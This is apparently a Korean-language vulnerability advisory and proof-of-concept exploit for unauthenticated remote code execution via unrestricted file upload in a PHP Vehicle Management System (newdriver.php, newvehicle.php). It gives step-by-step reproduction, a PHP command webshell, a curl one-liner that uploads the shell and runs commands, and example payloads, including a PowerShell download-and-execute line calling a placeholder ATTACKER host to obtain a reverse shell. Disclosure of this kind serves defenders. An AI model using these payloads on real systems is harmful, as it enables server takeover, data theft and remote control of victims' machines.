
Vehicle Management System PHP V1.0에서 무제한 파일 업로드를 통한 인증되지 않은 원격 코드 실행 인증 개념 증명 익스플로잇. 상세한 재현 단계, curl PoC 및 PHP 웹셸 페이로드 포함.
| 필드 | 세부 정보 |
|---|---|
| 제품 | PHP 기반 차량 관리 시스템 |
| 공급업체 | code-projects.org |
| 버전 | V1.0 |
| 취약점 유형 | 무제한 파일 업로드로 인한 원격 코드 실행 (CWE-434) |
| 영향받는 파일 | newdriver.php, newvehicle.php |
| 매개변수 | photo (POST, multipart/form-data) |
| 인증 필요 | 아니요 (인증되지 않음) |
| CVSS 점수 | 10.0 Critical |
| 공격 경로 | 원격 / 네트워크 |
| 필요 권한 | 없음 |
| 사용자 상호작용 | 없음 |
PHP 기반 차량 관리 시스템 V1.0( code-projects.org 제공)은 newdriver.php(및 동일하게 newvehicle.php)의 무제한 파일 업로드를 통해 인증되지 않은 원격 코드 실행에 취약합니다.
이 애플리케이션은 관리자 전용 '새 운전자' 등록 양식을 newdriver.php에 노출하며, 여기에는 사진 업로드 필드가 포함됩니다. 그러나 이 엔드포인트는 세션 검증을 수행하지 않습니다 — 인증되지 않은 공격자는 로그인 페이지로 리디렉션되지 않고 직접 접근할 수 있습니다. 또한 사진 업로드 필드는 PHP 파일을 포함한 모든 파일 형식을 허용하며, 확장자 필터링, MIME 타입 검증, 내용 검사가 없습니다.
공격자는 다음을 수행할 수 있습니다:
newdriver.php를 직접 방문/picture/ 디렉토리에 저장됨이로 인해 웹 서버 프로세스의 권한으로 완전한 원격 코드 실행이 발생합니다.
인증되지 않은 HTTP 요청
↓
newdriver.php (세션 검사 없음)
↓
photo 필드가 .php 파일 허용 (파일 형식 검증 없음)
↓
쉘이 /picture/web_shell.php에 저장됨
↓
GET /picture/web_shell.php?cmd=whoami
↓
RCE — 임의의 OS 명령 실행
세션이 없는 새 브라우저(시크릿/개인 창)를 엽니다. 엔드포인트로 직접 이동합니다:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php
새 운전자 양식이 인증 검사 없이 성공적으로 로드되며, 로그인으로 리디렉션되지 않습니다.
간단한 PHP 명령 실행 웹쉘을 생성합니다:
<?php system($_GET['cmd']); ?>
shell.php(또는 임의의 .php 파일명)로 저장합니다.
운전자 양식 필드를 임의의 값으로 채우고 PHP 웹쉘을 사진 업로드로 선택합니다:
운전자 이름: test
휴대폰: 1234567890
운전자 입사일: 2026-05-19
국가 ID: test
면허 번호: test
면허 만료일: 2026-05-30
운전자 주소: test
사진: shell.php ← PHP 웹쉘이 여기에 업로드됨
제출을 클릭합니다.
애플리케이션이 "Registration Completed!" 로 응답합니다 — PHP 쉘이 검증 없이 수락되고 저장되었음을 확인합니다.
/picture/ 디렉토리에 업로드된 쉘로 이동하여 cmd 매개변수를 통해 OS 명령을 전달합니다:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami
서버가 명령을 실행하고 출력을 반환합니다:
desktop-g1i9np3\dell
# 민감한 파일 읽기
http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php
# 웹 루트 목록
http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\
# PowerShell을 통한 전체 리버스 쉘
http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
newvehicle.php에도 동일한 취약점이 존재합니다. 인증되지 않은 공격자는 새 차량 추가 양식에 접근하여 차량 사진 필드를 통해 PHP 웹쉘을 업로드하고 동일한 방법으로 RCE를 달성할 수 있습니다.
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php
두 엔드포인트 모두 동일한 근본 원인을 공유합니다: 세션 검증 없음 및 파일 업로드 제한 없음.
curl -s -X POST \
"http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
-F "dname=test" \
-F "mobile=1234567890" \
-F "djoiningdate=2026-05-19" \
-F "nid=test" \
-F "licenseno=test" \
-F "licenseenddate=2026-05-30" \
-F "daddress=test" \
-F "[email protected];type=image/jpeg" \
&& echo "[+] Shell uploaded" \
&& curl -s "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"
newdriver.php 및 newvehicle.php 모두 취약| 파일 | 업로드 필드 | 쉘 저장 경로 |
|---|---|---|
newdriver.php | photo | /picture/ |
newvehicle.php | photo | /picture/ |
Syed Imad Uddin Alvi (imad alvi)
독립 보안 연구원